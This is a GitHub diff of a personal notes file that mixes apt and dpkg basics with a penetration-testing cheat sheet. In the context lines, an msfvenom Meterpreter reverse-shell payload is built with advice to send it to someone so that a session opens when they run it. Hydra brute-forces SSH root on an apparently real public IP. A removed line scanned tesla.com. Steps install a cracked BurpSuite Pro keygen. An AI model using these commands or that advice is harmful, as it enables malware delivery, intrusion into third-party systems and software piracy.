|
1 |
| -How To Quickly Get Linux Up-To-Speed Cuz You Fucked It Up Again: |
2 |
| -sudo apt-get clean |
3 |
| -sudo apt-get update |
4 |
| -sudo apt-get upgrade -y |
5 |
| -sudo apt-get dist-upgrade -y |
6 |
| -sudo apt-get full-upgrade -y |
7 |
| -sudo apt-get install git |
8 |
| -sudo apt install python3-pip |
9 |
| - sudo apt-get update && sudo apt-get upgrade -y && sudo apt-get dist-upgrade -y && sudo apt-get full-upgrade -y |
| 1 | +How to update/upgrade Linux: |
| 2 | +What does APT do? |
| 3 | + |
| 4 | +APT (Advanced Packaging Tool) is a set of core tools found inside the Debian operating system. It provides utilities for the installation and removal of software packages and dependencies on a system. |
| 5 | + |
| 6 | +apt is a subset of apt-get and apt-cache commands providing necessary commands for package management. |
| 7 | +while apt-get won’t be deprecated, as a regular user, you should start using apt more often. |
| 8 | + |
| 9 | +sudo apt install |
| 10 | + Installs a package |
| 11 | + |
| 12 | +sudo apt remove |
| 13 | + Removes a package |
| 14 | + |
| 15 | +sudo apt purge |
| 16 | + Removes package with configuration |
| 17 | + |
| 18 | +sudo apt update |
| 19 | + Refreshes repository index |
| 20 | + |
| 21 | +sudo apt upgrade |
| 22 | + Upgrades all upgradable packages |
| 23 | + |
| 24 | +sudo apt autoremove |
| 25 | + Removes unwanted packages |
| 26 | + |
| 27 | +sudo apt full-upgrade |
| 28 | + Upgrades packages with auto-handling of dependencies |
| 29 | + |
| 30 | +sudo apt search |
| 31 | + Searches for a program |
| 32 | + |
| 33 | +sudo apt show |
| 34 | + Shows package details |
| 35 | + |
| 36 | +sudo apt list |
| 37 | + Lists packages with criteria (installed, upgradable etc) |
| 38 | + |
| 39 | +sudo apt edit-sources |
| 40 | + edits sources list |
| 41 | + |
| 42 | +sudo apt clean |
| 43 | + The clean command clears out the local repository of downloaded package files. It removes everything except the partials folder and lock file from /var/cache/apt/archives/. Use apt clean to free up disk space when necessary, or as part of regularly scheduled maintenance. |
| 44 | + |
| 45 | +sudo apt autoclean |
| 46 | + autoclean is another method used to clear out the local repository of downloaded package files, just like clean. The difference between clean and autoclean is that the latter only removes package files that can no longer be downloaded from their sources, and are very likely to be useless. |
| 47 | + |
| 48 | +sudo apt update && sudo apt upgrade -y && sudo apt full-upgrade -y && sudo apt autoremove -y |
| 49 | +=========================================================================================================================== |
| 50 | +First things to do after installing Linux: |
| 51 | +1. Download and Install Latest Updates |
| 52 | + sudo apt update && sudo apt upgrade |
| 53 | +2. Install GNOME Tweak Tool |
| 54 | + sudo apt install gnome-tweak-tool |
| 55 | +3. Install Git |
| 56 | + sudo apt install git |
| 57 | +4. Install PIP |
| 58 | + sudo apt install python3-pip |
| 59 | +5. Install GNOME Extensions |
| 60 | + Just go to https://extensions.gnome.org/ to download and install your preferred extensions. |
| 61 | +6. Play with Different Desktop Environment |
| 62 | + To try MATE, run following command in Terminal. |
| 63 | + sudo apt install Ubuntu-mate-desktop |
| 64 | + |
| 65 | + To try Cinnamon, run following command in Terminal. |
| 66 | + sudo apt-get install cinnamon-desktop-environment |
| 67 | + |
| 68 | + To try KDE, run following command in Terminal. |
| 69 | + sudo apt-get install kde-standard |
| 70 | + |
| 71 | + |
| 72 | + |
| 73 | +=========================================================================================================================== |
| 74 | +How to install a dpkg: |
| 75 | + |
| 76 | +dpkg is a tool for installing, removing, and querying individual packages. |
| 77 | + |
| 78 | + dpkg -i ~/Downloads/file.deb |
10 | 79 | ===========================================================================================================================
|
11 | 80 | How to fix HTB openvpn connection issue:
|
12 | 81 | # vim /etc/sysctl.conf
|
@@ -36,12 +105,19 @@ Free BurpSuite Pro installation:
|
36 | 105 | 2. Run 'BurpSuite Loader & Keygen'
|
37 | 106 | 3. Press 'run' in upper right hand corner and Burpsuite will load
|
38 | 107 | ===========================================================================================================================
|
39 |
| -How to install dpkg: |
40 |
| - dpkg -i ~/Downloads/file.deb |
| 108 | + |
41 | 109 | ===========================================================================================================================
|
42 |
| -<h1>Routersploit:</h1> |
| 110 | +How to uncompress with tar: |
| 111 | + |
| 112 | + -x = extract |
| 113 | + -z = gzipped archive |
| 114 | + -f = get from a file (must be the last command) |
| 115 | + |
| 116 | + 'sudo tar -xzf utorrent-server-3.0-ubuntu-10.10-27079.tar.gz' |
| 117 | +=========================================================================================================================== |
| 118 | +Routersploit: |
43 | 119 |
|
44 |
| -<h3>Install:</h3> |
| 120 | +Install: |
45 | 121 | sudo apt-get install python-dev python-pip libncurses5-dev git
|
46 | 122 | git clone https://github.com/reverse-shell/routersploit
|
47 | 123 | cd routersploit
|
@@ -218,7 +294,7 @@ Command line options for dir mode
|
218 | 294 | -P <password> – HTTP Authorization password (Basic Auth only, prompted if missing).
|
219 | 295 | -U <username> – HTTP Authorization username (Basic Auth only).
|
220 | 296 | -to <timeout> – HTTP timeout. Examples: 10s, 100ms, 1m (default: 10s).
|
221 |
| - "gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u https://www.tesla.com" |
| 297 | + "gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u https://10.10.10.84" |
222 | 298 | ===========================================================================================================================
|
223 | 299 | #Wfuzz:
|
224 | 300 |
|
@@ -415,7 +491,7 @@ Priv: Timestomp Commands
|
415 | 491 | timestomp Manipulate file MACE attributes
|
416 | 492 |
|
417 | 493 | Creating an executable backdoor with Metasploit:
|
418 |
| - "msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.141 -f exe -o payload.exe" |
| 494 | + "msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.141 LPORT=4444 -f exe -o payload.exe" |
419 | 495 | The backdoor.exe file is saved in the path where you executed the command. Upload this file to GitHub or send it to someone, once they open it, your meterpreter session will start
|
420 | 496 |
|
421 | 497 | LHOST= Your IP
|
@@ -560,6 +636,13 @@ Crunch Wordlist:
|
560 | 636 | crunch 4 4 012345abcdef -o Documents/pass.txt
|
561 | 637 | ===========================================================================================================================
|
562 | 638 | Hydra:
|
| 639 | +Install hydra with the following commands: |
| 640 | + $ git clone https://github.com/vanhauser-thc/thc-hydra.git |
| 641 | + $ cd thc-hydra/ |
| 642 | + $ ./configure |
| 643 | + $ make |
| 644 | + $ make install |
| 645 | + |
563 | 646 | hydra -l admin -P /home/kali/htb/nineveh/10k 10.10.10.43 http-post-form "/department/login.php:username=^user^&password=^PASS^:Invalid" -t 64
|
564 | 647 |
|
565 | 648 | hydra -l root -p admin 69.167.51.201 -t 4 ssh
|
|
0 commit comments